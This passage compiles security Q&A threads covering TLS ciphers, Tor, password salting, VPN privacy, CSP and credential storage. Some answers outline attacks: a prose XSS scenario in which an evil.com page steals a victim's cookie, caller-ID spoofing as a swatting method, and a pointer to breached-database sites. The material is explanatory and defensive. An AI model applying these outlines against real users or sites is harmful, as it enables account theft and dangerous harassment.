TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_RSA_WITH_NULL_SHA
TLS_ECDH_RSA_WITH_RC4_128_SHA
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_anon_WITH_AES_128_CBC_SHA
TLS_ECDH_anon_WITH_NULL_SHA
TLS_ECDH_anon_WITH_RC4_128_SHA
TLS_EMPTY_RENEGOTIATION_INFO_SCSV
TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5
TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA
TLS_KRB5_EXPORT_WITH_RC4_40_MD5
TLS_KRB5_EXPORT_WITH_RC4_40_SHA
TLS_KRB5_WITH_3DES_EDE_CBC_MD5
TLS_KRB5_WITH_3DES_EDE_CBC_SHA
TLS_KRB5_WITH_DES_CBC_MD5
TLS_KRB5_WITH_DES_CBC_SHA
TLS_KRB5_WITH_RC4_128_MD5
TLS_KRB5_WITH_RC4_128_SHA
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_NULL_SHA256

I have disabled SSL completely on the server so only TLSv1.0-2 are available. I want to restrict to only strong ciphers. I have no concerns about backwards compatibility.

Narrowing down the list using mainly the Mozilla recommendation along with an answer on SO and this blog post I have narrowed down the list to:

TLS_DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_128_GCM_SHA256

Is this a sensible set of ciphers? Have I removed some that I should not have? Are any in that list not of a high security level?

It is always possible to be more paranoid, so you can shrink the list even more, depending on how worried you are. Basically:

Remove the DH_anon cipher suites: they don't authenticate the server, hence they are weak against MitM attacks.
Don't use RC4, since it has known biases.
Don't use 3DES because its short block size (8 bytes) makes it troublesome past the first few gigabytes of data.
Don't use any block cipher that works in CBC mode because CBC mode in the MAC-then-encrypt mode that SSL/TLS uses is hard to implement properly (see all the BEAST and Poodle attacks).
Always use a DHE or ECDHE cipher suite, to get forward secrecy.
Don't use SHA-1 if you want to look good with the panicking crowds that don't exactly understand what a collision based on differential path analysis is.

At that point, you end up with enforcing TLS 1.2 (and rejecting previous versions), and the following list:

TLS_DHE_DSS_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

Of course, this list will be further reduced, depending on the type of key contained in the server's certificate. If the key has type DSS, you can only use the first cipher suite. If it has type ECDSA, only the second applies. If, like 99.3% of the World, you use RSA for your certificate, you have the choice between the last two cipher suites; you will prefer the ECDHE one if you want to unleash your inner hipster.

In practice, the choice of SSL cipher suite is extremely unlikely to be the weak point through which compromise will occur. When attackers hijack your server, they won't do it by tackling with the crypto upfront. So don't overthink it. Be aware that most of your efforts at pruning the list of cipher suites are really meant to appease finicky auditors and worried managers, so the important operational question is not "what will ensure maximum security ?" but "what will induce the strongest feeling of security ?".


What is the pitfall to connecting with Tor on a public wifi hotspot? I often use public wifi hotspots to connect to the Internet. Is my data encrypted right before it leaves my system and so protected from network observers/snooping if I use tor?

Yes, it is encrypted before it leaves the system. The Tor client on your computer encrypts the data three times. The first key is shared with the guard node, the second with the middle node, and the third with the exit node. Each node strips off a single layer of encryption before passing it along. The exit node strips off the last layer of encryption and sends it off to its destination. This is called onion routing. All the public WiFi can see is opaque, triple-encrypted data being sent to a Tor guard node.

Tor has hardcoded in it a list of fingerprints which it uses to verify the authenticity of the Directory Authorities (DAs). Once it has verified the authenticity of the DAs, the DAs send the Tor client a list of Tor nodes along with their own fingerprints. Your Tor client will pick a guard from that list, verify its identity through the fingerprint provided by the DA, and then connect to it. As long as your Tor client is genuine, it will be impossible for any MITM attack to occur between you and the guard.

Tor uses three layers of AES128 in CTR mode for encryption. The HMAC used to protect integrity uses SHA256. Key exchange is done with Curve25519, with the related Ed25519 used for fingerprints. More technical information is available in Tor's NTor handshake protocol specifications.

Be aware that Tor is only a tool designed to help you stay safe, not a panacea. It will not protect you from your own OPSEC failures or an advanced adversary exploiting your browser with 0days.


Would re-salting passwords regularly in-/decrease security? What are the (dis)advantages of re-salting a user's password regularly, e.g. weekly (or at their next login once week since the last re-salting)?

The basic idea would be that users who regularly log in would suffer a lower risk of someone exploiting a hash collision after somehow obtaining the salt and hash, since most likely only the actual password would still work after re-salting; however I wonder if re-salting would actually make life easier for an intruder who manages to regularly obtain the new salt and hash and, assuming the actual password was not modified, could somehow use that history to reduce the keyspace.

Hash function collisions are not relevant to password hashing. All the password hashing works on preimage resistance, not collisions. You can forget everything about collisions when talking about password hashing.

Salt "collisions" may matter but are better called "salt reuse". You avoid salt reuse by using big enough random salts (16 bytes are enough; GUID are good salts).

You cannot change the salt without having access to the password. If you could do it, then the attacker could do it too, and nullify the benefits of the salts. This would be a serious weakness of the hashing function.

There is no point in changing the salt. The salt unique added value is how it is different from other salt values. There is no gain in replacing a salt value with another value; there can be a net loss if the new value happens to be equal to another salt value, leading to salt reuse.

Namely, when you use random salts, you are ensuring absence of salt reuse heuristically: if you ever generate s salts, in a space of size n (e.g. n = 2128 for random 16-byte salts), then risk of a salt reuse remains low as long as s2 is small with regards to n. Basically, with 16-byte salts, chosen randomly from a good PRNG, you have room for about 264 salt generation instances. If you change salts regularly, more often than strictly required, then you are increasing s, i.e. diminishing your breathing room. Fortunately, 264 is a huge number, so assuming that you do everything else properly, then replacing salts every week (when the user logs in, because you cannot do that without the password itself) will not imply a significant extra risk. It will be useless, but harmless.

If, from multiple hash values with various salts and the same password, the attacker can work out the password itself or reduce its key space (with better success than the simple risk of salt reuse explained above), then this is a cryptographic weakness of the password hashing function. No such weakness is known for usual password hashing functions (bcrypt, PBKDF2...).


Once VPN is unplugged can work still monitor? Work provides people from my company that 'work at home' with a separate VPN router which will be plugged into my existing home router.

They have also asked for the router model, username and password etc of my home router. They said that this info was needed so that they could program it to work with the VPN router so that is able to pass through the home router.

My question is this; whilst I know that while I am connected to the work router which is connected to the work server through the day they will be able to monitor internet access etc, once I unplug the VPN router after work, would they still have access to my internet traffic, emails etc?

I connect to work at the moment on a separate work PC via a cable and surf, email etc, wirelessley via a laptop. My laptop is firewalled, but could they do any snooping with the information I have given them for my router, once the VPN is unplugged?.

Forgive me, I am new to VPNs and work connections.

If you give them the username and password of your personal home router then they could (depending on model and firmware) configure it to log your traffic and forward the logs to them, or do other unethical things as described in this question. It's very unlikely that they would use the credentials to do such things, however I would refuse to give them control of my personal router, and instead get the configuration requirements and do it yourself.

Presuming that you keep control of your own equipment then once you disconnect or power down the work VPN device then they cannot use it to spy on what you do.


CSS code can be seen through my browser. Is that a vulnerability? I have a WordPress blog, and when I navigate to a particular path such as http://example.com/wp-content/themes/css/jquery-scrollbar.css?, I could see all the CSS code for the scroll bar.

My questions are:

Is this a normal behaviour or is it a vulnerability?
How to prevent the browser from showing the CSS?
Is known CSS code a vulnerability?

Everything that is executed in the browser can be seen by the client, that is the nature of the Web. This includes HTML, javascript, and CSS. So, unless you put something confidential in a file that will be served by your browser, this is not an a vulnerability.

Edit: below is from @schroeder's comment

In addition, every single webpage can show the CSS code. You can download the CSS files, or open developer view to see and even manipulate the CSS code for your browser.


A code protector claims that it "ensures it is physically impossible to run code without a serial number" is this a scam? VMProtect Software (found at http://vmpsoft.com/) claims that it:

"allows the generation and verification of serial numbers. Both manual and automatic generation are supported. Serial numbers can be limited by time or date and locked to the hardware, while the free upgrade period can also be limited. VMProtect ensures it is physically impossible to run code without a serial number."

I believe that the word "impossible" is clearly incorrect because I thought that any serial number protection mechanism could be cracked by spending enough time reverse engineering it.

However, I have searched online and VMProtect was used as a packer to obfuscate malware through virtualized protection as described here https://www.f-secure.com/v-descs/vmprotect.shtml so it does seem to achieve "protects code by executing it on a virtual machine" as it claims.
I understand the ideas of Virtualization-Obfuscated Software and am not seeking a response on that (I just used it as an example of one thing that VMProtector claims to do, which it does infact do).

Is this false advertisement, or are there new fancy ways to make code not run without serial numbers?

So their market is protecting your app from the prying eyes of reverse engineers. Myself, I find that page a little too fluffy, and a little too scant on details. I certainly wouldn't buy their product based solely on the descriptions on that page.

Based on the descriptions, it looks like they generate some custom assembly language for each app, then you run the bizzaro code inside their assembly translator (aka virtual machine) which produces actual assembly code at runtime. Am I correct? I can see why that makes code hard to reverse-engineer.

Now to your question. Since they control the harness that your code runs in, they could easily add a check at startup that says "does the serial number they provided match [the serial number I'm expecting]? If not, abort". So, the simple answer to the question "are there new fancy ways to make code not run without serial numbers?" is yes, but the better question is "how to prevent reverse engineers from figuring out what serial number it's expecting?".

First, I wonder what they mean by "serial number". In the strictest sense, that means "take the previous number issued, and add one to it". That shouldn't be too hard to spoof. Also, how do they get the [serial number I'm expecting] part to compare to? Does their product require internet access to phone home for the correct serial number? Sure they can do an SSL connection home to protect it from packet sniffing, but since it's running on my hardware, can I do a memory dump and extract the [the serial number I'm expecting] directly?

Maybe instead of "serial number", they mean some sort of fingerprint of the system's hardware. It's a common trick in the security industry to hash together the MAC address, serial number of the motherboard, model number of the processor, today's date (if the code is only good for one day), etc. That way I don't care if you extract the hash I'm expecting from my source code, good luck virtualizing hardware that produces a matching hash. A trick like that would be consistent with their statement that it's "locked to the hardware", but couldn't really be called a "serial number".

Even if they do have some super fancy fingerprint checker, their harness is regular assembly, as a reverse-engineer, can I put in a goto to bypass the check?

So the longer answer is: there might be ways to make an app that will refuse to run without the proper serial number / key / fingerprint, but your intuition is probably right that it can be cracked with enough effort. Moreover, their description page definitely does not give enough details to inspire confidence. But *heh*, they're in the obfuscation game, what else should I expect? Whatever they've done is probably good enough to keep the folks at Symantec busy for a couple months while they rake in some cash.


How did facebook DDoS me? About 1 day ago my router was being DDoS by some people and one of the ip addreses was Facebook's. Can anyone explain this?

[DoS Attack: ACK Scan] from source: 31.13.65.50, port 443, Saturday, February 23, 2019 16:49:04
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 5222, Saturday, February 23, 2019 16:48:41
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 443, Saturday, February 23, 2019 16:47:01
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 5222, Saturday, February 23, 2019 16:46:38
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 443, Saturday, February 23, 2019 16:44:58
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 5222, Saturday, February 23, 2019 16:44:35
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 443, Saturday, February 23, 2019 16:42:56
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 5222, Saturday, February 23, 2019 16:40:29
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 5222, Saturday, February 23, 2019 16:36:24
[DoS Attack: ACK Scan] from source: 179.60.192.3, port 443, Saturday, February 23, 2019 16:27:07
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 5222, Saturday, February 23, 2019 16:24:53
[admin login] from source 192.168.1.18, Saturday, February 23, 2019 16:24:12
[DHCP IP: 192.168.1.18] to MAC address , Saturday, February 23, 2019 16:23:46
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 5222, Saturday, February 23, 2019 16:18:45
[DoS Attack: ACK Scan] from source: 31.13.65.50, port 5222, Saturday, February 23, 2019 16:16:42
[DHCP IP: 192.168.1.18] to MAC address , Saturday, February 23, 2019 16:12:06
[DHCP IP: 192.168.1.2] to MAC address , Saturday, February 23, 2019 16:00:28
[DoS Attack: RST Scan] from source: 188.122.82.214, port 80, Saturday, February 23, 2019 15:57:23
[DoS Attack: RST Scan] from source: 72.167.239.239, port 80, Saturday, February 23, 2019 15:54:11
[DHCP IP: 192.168.1.4] to MAC address :ec, Saturday, February 23, 2019 15:53:55
[DHCP IP: 192.168.1.8] to MAC address , Saturday, February 23, 2019 15:48:39
[DHCP IP: 192.168.1.35] to MAC address 20:df:b9:ad:1c:38, Saturday, February 23, 2019 15:40:16
[DoS Attack: TCP/UDP Chargen] from source: 210.129.88.228, port 17564, Saturday, February 23, 2019 15:33:45

This appears to be a false positive. Many of those IP addresses are indeed owned by Facebook, and the ports used makes it appear to also include Facebook's chat app. Your router is likely being just a little overzealous in marking incoming traffic as a DoS attack. In particular, you can see that each of these connections occur minutes apart from each other, while a true DoS attack could involve thousands of connections every second. These occasional spurious connections pose no threat to your network.


If I use my own cloud server as a VPN can my internet traffic be tracked? If I use some IaaS cloud hosting provider to create my own VPN, and then I connect to that VPN before torrenting something, can I be identified in any way?

I assume that when you spin up an instance of a server, your name is connected to the MAC address of that computer.

I do not know if this is true nor do I know if web traffic can be traced to a computer that is only acting as a VPN.

From the perspective of the Bit Torrent swarm, your virtual server will appear as a client and the swarm will learn its IP address. Virtual servers rented from IaaS providers usually have static IP addresses, so the provider knows which IP address belongs to which one of their customers.

When someone wants to press legal actions for copyright violation, they will notice that the IP belongs to a block of IP addresses registred by the IaaS provider, and press charges on them first. Their complaint will include the IP address of your server. The provider will then look up who pays for the server with that IP address and forward the complaint to them.

When the provider does not cooperate, they could be made liable for the copyright violation themselves. So you likely can not rely on your IaaS provider to protect your anonymity in case of legal problems.


Preventing account enumeration with 2FA What are some methods for preventing account enumeration on login when accounts have optional two factor authentication?

Without two factor authentication we would just return the same response for wrong username, wrong password, and account doesn't exist. But for optional 2FA the front end needs some way to ask "should I show the second factor UI?". In the best case that mechanism would confirm an account does exist if it has 2FA, but neither confirm or refute the existence of an account without 2FA.

Only allow the front-end to ask if it should show the 2FA UI after the password has already been authenticated.

This doesn't even have to be a separate API, it could be part of the existing login API. The login API could take a username and password, and return something like:

Invalid for invalid username or password, or nonexistent account
2FA required for second factor required
Success for successful login (no second factor required)


Website link shows a code variable A website I frequently visit is showing an error message.

The usual Click 'here' link actually shows

  Click '$host_variable.xxxxxxName'

to navigate to a certain page.

Is it a security flaw? How?

To me this seems more like a bug than a security flaw. If the security of the site were breached, I would expect that the text remains the same (cause now it looks suspicious), but only the actual href changing to some malicious host. It could however well be that there is malicious intent involved here, which could best be confirmed by validating the destination of the link.


CSP header default-src: data: I am testing CSP header implementation. The implemented header value is:

Content-Security-Policy: default-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'
X-Content-Security-Policy: default-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'
X-WebKit-CSP: default-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'

I know that because of unsafe-inline it is not recommended configuration, but I do not understend the meaning of "data:" as URI. If it is a URI that should mean that data is a scheme (like https, ftp etc.), but I don't understand the purpose of this?

Additionally is it recommended to use also X-Content-Security-Policy and X-WebKit-CSP headers, aren't they deprecated?

What does data do

It allows data URIs, such as:

data:text/html;charset=utf-8;base64,PGgzPkhpPC9oMz4=

to be used as sources.

Data URIs can contain any content, they are quite widely used, as they can reduce the amount of URLs that are requested when the site loads.

Should I use it

Not if you want to limit the damage of injection and can avoid it, as it lets anyone who can inject into the page use a data URI containing any content they want.

Should all 3 headers be used

They don't need to be used for Chrome and Firefox, but as CanIUse shows, there are browsers which still need special headers.


What is the best way to store a password on a system/server? I will have an application server that needs to use credentials to authenticate to another service (email). What's the best way to securely store these credentials locally on the machine?

Thanks in advance!

It tends to be OS and application specific, but you're looking for a keystore.  Depending on your programming language there may already be a suitable keystore.

There are also OS-specific keystores.   For example, on Linux you have keyctl (see the man page for detail) that stores secrets in the kernel.  These obviously don't persist across a reboot so you'll want to load them from an encrypted file or another host across an encrypted (and authenticated) connection shortly after boot.

(I do exactly this for storing email passwords on a Linux machine.  I load the passwords into the persistent keyring shortly after the machine boots.   With some effort, I could automate this and have the credentials securely pushed from a different machine that didn't reboot.)


Are db passwords useless for local authentication in (web) apps? I'm a web developer / sys admin and I'm reading about the security of (for example) MySQL user authentication for the web apps and any other use case that involves local authentication in this context, like a framework for an online game.

I've come across some questions and it seems that everyone agrees on using strong passwords for local MySQL users. I'm using the same thing for user/dbname/password (edit: only for development!).

My question is, if the user is only allowed to be used in localhost/127.0.0.1, then, what is the purpose of the password? If someone gains access to the system then they can access the database files and get the passwords from the .php files. Also, if a virus has infected the system it doesn't matter how strong the password is, again, it can access the files.

In what scenario would a (strong) local user password really protected the databases?

Would someone be so kind to explain this in detail? I'd appreciate it.

Say, for example, you had an upload page that accidentally allowed upload of php files to an executable directory or had an accidental php EXEC running on a string that a user could get a value in to.

In these cases (and many others) an attacker does not necessarily have access to files on your server, but could still execute arbitrary code that they can upload.  Insecure passwords for the MySQL local user make it easier to compromise with such code.

Good segmentation of file access permissions also can help separate multiple sites or services running on the same machine, however, it is possible for an attack against the MySQL instance (if only checking for localhost) to be compromised across sites and services since it is not aware of the executing user, only the IP address of the client.


How can we trust PKI, for example, Verisign? We want to send an encrypted message to Alice. We can ask her a public key over the network, encrypt with it a message and send that message back. It is bad, because someone can pretend to be Alice and send their public key. The solution said to be PKI. So, we connect to PKI service (for example Verisign) and get the public key. But how is that different from asking Alice directly? Someone can interfere with our connection and send the certificate of their own. I am obviously missing something...

1) Certificate authorities are just one method of creating PKI. Pre distributed certificates by a side channel and Web of trust are others. Your question should be, "How can we trust certificate authorities?"

2) That is not how it works, one only connects to verisign to check if the certificate has been revoked. The certificate comes from the same server as you are connecting to and contains verisigns' digital signature with verisigns' public key distributed with the web browser or operating system (or both). In the root certificate store.

As for being able to trust certificate authorities, well it is a big question, there are rules that each browser manufacturer/operating system has before they allow the public key in the root certificate store. The rules state required audits and rules as to when a root certificate should be removed. DigiNotar was a dutch ca that did have it's root certificate pulled. However often the people checking the CAs do not want to pull the bigger ones without 100% proof as websites that use them will instantly break.

Ultimately we have very few ways other ways to manage it at the scale we currently are, though some have tried to prototype other solutions like convergence.


Are Internet Explorers "Tracking Protection" able to prevent AddThis canvas fingerprinting? A paper on web tracking mechanisms identifies the web-tracking company AddThis as a major user of canvas fingerprinting.

Are IE:s Tracking Protection, provided Tracking Protection Lists including AddThis entries, able to prevent user identification by AddThis using canvas fingerprinting?

I'm not trying to be mean or unhelpful but I don't know why people keep asking questions about whether Microsoft products and software are able to protect them from security threats. Just give up. Look into this https://adblockplus.org/blog/adblock-plus-and-the-canvas-fingerprinting-threat and read how its possible to prevent canvas fingerprinting. Then compare that to how tracking prevention works on IE.


Is a normal user allowed to view site's CSS sheet I am looking at IDS (intrusion detection sensor) logs where some one tired to get a .css sheet through a  URL. Ex: www.site.com/CSS/Main.css  - which throws a CSS sheet in the form of text file.

Is this allowed for any user  or something to concern ?

I don't have much knowledge on these, so any help is appreciated. couldn't  paste the output here, security concerns !!!

sample:

.homemidcontainer{  width: 900px;   background: #fff;}
.homeleftcol{   float: left;    width: 225px;   background-color: #FFFFFF;  height: 470px;}
.homerightcol{  float: right;   width: 675px;   height: 470px;  background-color: #FFFFFF;}

Yes, it is implicitly intended that clients will download CSS files and interpret it to figure out how to render a page. Whether that CSS is accessed automatically via a web browser or manually via a person does not really make any difference from a Security standpoint.

You should consider the content of a CSS file to be public information unless it requires authentication to access.


How is Swatting (Twitch) streamers possible? Swatting is when a person calls the SWAT team on a victim as a "prank", by falsely reporting some critical incident at the victim's home address. Swatting seems to be an incident that happen quite frequently to streamers in particular (e.g. Twitch.tv). However, in order for swatting to work, the home address of the victim must be known. While I accept that some people may inadvertently give out their home address on stream, with the number of cases that have occurred, I am wondering if perhaps the act of streaming somehow makes it easier to acquire a person's home address?

A few people have pointed out that you can trace the IP address of a streamer, and then do some additional research to find out a person's home. However, that seems unbelievable to me. For one, how does streaming leak a person's IP address? I thought that a streamer would upload their content to the streaming service (e.g. Twitch.tv) directly. Therefore unlike a P2P service such as Skype, the viewers do not need the IP Address of the streamer to watch the stream. Is that not true? Secondly, even if the IP Address is known, I still fail to see how one can determine the exact home address from that, since the IP address only gives a very rough approximation. Sure, some streamers give out their real name, and you can get an estimate of their gender/age/ethnicity based on their web cam footage, but is that really that much information?

Could someone explain this to me? Is it true that streaming exposes your IP address? How can one determine someone's home address from this information?

Finally, what can a streamer do to prevent their home address from being leaked out?

This probably has nothing to do with the IP address used for streaming.

Many swatting events are based off of caller-ID spoofed Voice over IP calls using the home phone number of the victim and directed to the local 911 service or it's equivalent near where the victim lives. When these calls reach the local 911 dispatchers a database correlating the physical address to the number making the call appears on the screen for the dispatchers to use. So if anything it's probably more likely that people are simply looking for published phone numbers and spoofing the 911 calls from there.

Note: There are MANY ways to do this, they could also do this from any stolen cell phone and simply make up a story about where they are located.

Due to the increase in swatting events many law enforcement agencies are getting better at tracking the people calling these in and are now prosecuting them.

https://en.wikipedia.org/wiki/Swatting

Keep in mind that people have died from swatting and that this is a very dangerous and illegal act.

http://bearingarms.com/ex-marine-swatted-black-shopper-death-walmart-changes-story/

Ultimately there are many sources where the person doing the swatting could get the information about the victims they are swatting and for someone who knows how to do this it's a relatively trivial to do.

In time as law enforcement gets better at quickly identifying the people who do this one would hope the rate at which this happens would go down drastically.

To answer your secondary question about hiding the streaming IP address take a look at Tor or potentially any number of VPN services.

http://tor.eff.org

In regards to the streaming component, it appears that Twitch.tv requires video to be sent in the H.264 codec.

http://help.twitch.tv/customer/en/portal/articles/1253460-broadcast-requirements

https://en.wikipedia.org/wiki/H.264/MPEG-4_AVC#Controversies

The H.264 codec itself doesn't contain any geolocation features like the EXIF typically data stored in photos.

https://en.wikipedia.org/wiki/Exchangeable_image_file_format#Geolocation

That said it does appear that several camera vendors area adding geolocation data into their videos and per the twitch.tv website they clearly state "Twitch does not reencode your video after receiving it; whatever is sent to our servers is sent right back out to your viewers."

http://help.twitch.tv/customer/en/portal/articles/1253460-broadcast-requirements

This would imply that if some video camera/mobile device manufacturers were to encode geolocation data into these video streams, or the accompanying audio streams, then yes this information could easily be extracted to provide a physical location directly from the stream.

I will point out that other large image services have explicitly chosen to remove EXIF and geolocation data from photos and videos to protect the privacy of their users.

Twitch.tv is not required to do this but it may be something wise for them to start doing to protect their users in the future, especially if it turns out this is the source of the swatting target selection process.

Another issue that may also come up, albeit less likely, is that geolocation data collected via HTML5 browser clients could potentially also be accessible to others using the website. This may not apply to twitch.tv but may be an issue for other websites. My point in mentioning this is simply that geolocation occurs at several levels (IP/Content/Metadata/encodings/out-of-band-data/browser leakage etc.)and it could potentially be extracted from a number of parts of the communications even if the streaming source IP is not the problem.

It may be worth spending time to see if you can search for the swatting victims phone numbers based on things you see and hear in their videos to determine if it seems like that's how it's happening. Sometimes these things are easier to find than one would initially think.


Unsanitized HTML input My school uses the website WebAssign for online math and science homework. One of WebAssign's features is a "My Notes" section that allows you to input notes for a problem and come back to it later without actually submitting the answer.

The "My Notes" dialog has an <input> button to edit the text, and a
 whose innerHTML is the raw contents of the notes. This means that, for example, writing &pi; in the notes box will cause π to appear in the rendered view.

Another interesting side effect is that it's the rendered HTML that's copied into the box for further editing. For example, writing &amp;gt; and then pressing "Edit" and "Save" repeatedly would result in the sequence &amp;gt; → &gt; → > showing up in the editor.

You can also break the page by writing something like
, which is injected into the HTML raw.

My question is whether there's anything inherently dangerous to the server or any other users of the website here. It would seem to me that there isn't—I have no indication that the server is actually executing any scripts, etc. that I might put in there, only storing the text and feeding it back later. However, there also seems to be something just wrong about this lack of sanitization in a production website. So is this a problem?

Looking at your description, the application seems to be vulnerable to Cross-Site Scripting (XSS). Such attack can lead to the compromise of student accounts and even accounts with higher privileges. This can be demonstrated by:

The victim clicks a shortened link leading to http://evil.com.
The page http://evil.com contains a hidden 'My Notes' form that is pre-filled with malicious <script> (a script that sends the user's cookie to the attacker).
The form is automatically submitted to the legitimate WebAssign URL (not that the request is sent from the victim's browser, meaning that it is sent with the victim's cookie).
The legitimate WebAssign page is rendered with the malicious <script> which is executed and the victim's cookie is sent to the attacker.

This can be mitigated by properly sanitizing the user-supplied HTML content before sending it to the browser and by setting the HttpOnly flag with the cookies.


Can I use the same truststore and keystore on the client and the server? TL;DR: Is it possible to have both sides of a SSL/TLS connection have the same public and private key, so long as that public key is trusted by both sides?

More info if helpful:

I'm trying to test how I'd setup having Java application connecting to Kafka 2.1. I am using the same keystore and truststore for the Kafka cluster and the Java application, meaning both sides of the connection have the same public and private key. I understand this is not good practice, I just wanted to verify I understood how to configure things.

I can set

listeners=PLAINTEXT://localhost:9092,SSL://localhost:9093
# This is the config style for 2.3
# listeners=HTTP://localhost:9092,HTTPS://localhost:9093
ssl.keystore.location=/path/to/kafka.keystore.jks
ssl.keystore.password=test

ssl.truststore.location: /path/to/kafka.truststore.jks
ssl.truststore.password: test

ssl.key.password=test

a bunch of properties in Kafka to enable TLS/SSL authentication. I feel confident that I've made the truststore and keystore correctly, where the truststore contains the 1 public key that the java side and the kafka side are using. I've done the same on the java side, roughly following a GitHub example.

I can't get any connection going, and I am trying to remove possibilities for why. Could this be because both sides of the connection have the same public and private key?

There is no restriction in TLS itself which prevents using the same key pair on both sides of the connection. It is not really a good idea since a private key should be kept private (which it really isn't when shared between client and server) but it should nevertheless work.


Open IMAP connection using hashed password I make email client over IMAP protocol. To "remember" user's connection details (email, password, host, etc.) I need to store password in plain text, because otherwise I won't be able to open connection again.
Is there is a way to open IMAP connection usinng hashed password? Any other solutions are welcome.

The supported authentication methods depend on the specific IMAP server. Some supported methods like XOAUTH2 which delegate the authentication to some external server via OAuth2. There are also methods like CRAM-MD5 which don't transfer the password in plain. While with CRAM-MD5 it might be possible to store the password hashed (but not salted) it does not help much if the attacker can compromise the local password storage:
If an attacker steals these credentials they can identify themselves as valid user to the server no matter if the hash or password is used. The difference is thus more relevant for transport protection but there it is better to use TLS anyway. And it is relevant to protect against password reuse - so it is better to have a unique password for the IMAP access.


How has someone gained access to the password for my Google account? Earlier today, I received an automated text from Google stating..

  Google blocked someone with the password for (email address) from signing in to the account. Learn more: google.com/signins

I immediately changed my password. I checked where in the world the sign in came from, and it said Luang Prabang in Laos. I'm in the UK.

I only use this account so that I can subscribe to a number of users on Youtube, so I really can’t see why it’d be a target. I haven't had to type the password into this account recently (we’re talking months) as my phone remembers the password and stays logged in. I haven’t used this password on any other accounts of mine and would consider myself to practice good cyber security.

Unlike Colonel Panic’s question (How did someone log-in to my Gmail account from Kenya?), this was actually somebody else signing into my account.

My question is, how has a complete stranger managed to get access to the password for my personal account?

There were dozen possibilities for the compromise, Let me say the possible exploitation where hacker might got your password :
1)You might be reusing the same password again :
You might be having the password which was reused from any of the breached accounts, Inorder to check whether your account comes under breach you can check under sites like haveibeenpwned.There were sites like databases.today which provide breached database information too.
2)You might be victim of keylogger or any spy programs :
You might have copied a song/movie/software to a friend through USB drive and your friend might possibly sent keylogger or copied passwords along with it.
3)You might be used your gmail in open wifi hotspot :
This is the worst case of you being targetted , You might be signing in open wifi hotspot where your password might be sniffed.
4)You might be using weak password/your security question might be very easy to crack
5)you might be shoulder-surfed.
Now let's see what we can do next :

Never repeat passwords
Enable two step authentication for your gmail account
Clear all active sessions in your account
Check for apps which has authorization and remove it[privacy check of google does it]
Always have a habit of scanning pendrive before copying using antivirus scanners which is maintained uptodate
Never use weak passwords and have a  eye over the security questions which you have set
Never signin at open wifi hotspots.


Same RSA key pair for all users Let's say in my computer running Debian i have an RSA key pair generated by user foo and copied the public key to server_A for allowing key based authentication in ssh for foo.

Now my question is can i use the same key-pair for user bar and loo to allow key based authentication for them on server_A or do i need to create a separate key pair for each user?

If you don't care about security, you can do that.

Otherwise, you absolutely need a different key pair for each user. If multiple users share the same private key, they can easily impersonate each other. If you're only doing key authentication (no passwords) then they can log into each other's accounts.


Is connecting to the Internet through a mobile connection using a non-registered SIM card perfectly anonymous? Let's say I walk into a hardware store and buy a laptop and a mobile Internet router using cash. I then purchase a SIM card with Internet access and top it up with cash. After waiting for a couple of months (to make sure surveillance tapes of my purchases are long erased), I connect to the Internet using this setup from a high-density neighborhood where it would be impossible for the mobile operator to trace my exact location.

Is this setup safe enough that it's perfectly anonymous and impossible to trace post-factum? If so, why aren't more people using it and we regularly hear about users caught while using a home connection registered in their name?

Nothing is "impossible" to trace.  What you're describing would certainly be difficult to track down, but not impossible.

In the early to mid 1990s Kevin Mitnick tried an analog version of what you're describing, with cloned cell phones and a cellular modem in place of modern digital mobile networks.  Since he could change the cellular ID of his phone at will to another ID (and did every day), this is arguably less traceable than your scenario where there's a single subscriber ID associated with the mobile device.  Mitnick also regularly conducted his own intelligence campaign against the police trying to catch him, going as far as to tap the conference calls of the FBI.

And yet with all this, Mitnick was caught (albeit with a large amount of effort fueled by media hype).  He was eventually traced through his dialup access through Netcom, and physically traced to his apartment in North Carolina through directional radio.  This was not a small amount of effort at the time and required a team of experts to accomplish, but it still happened.

These days there's no dialups, but we do have much more logins to services that never existed in the 1990s.  It's certainly possible to use the same approach, and eventually trace back to a physical location to apprehend a suspect.

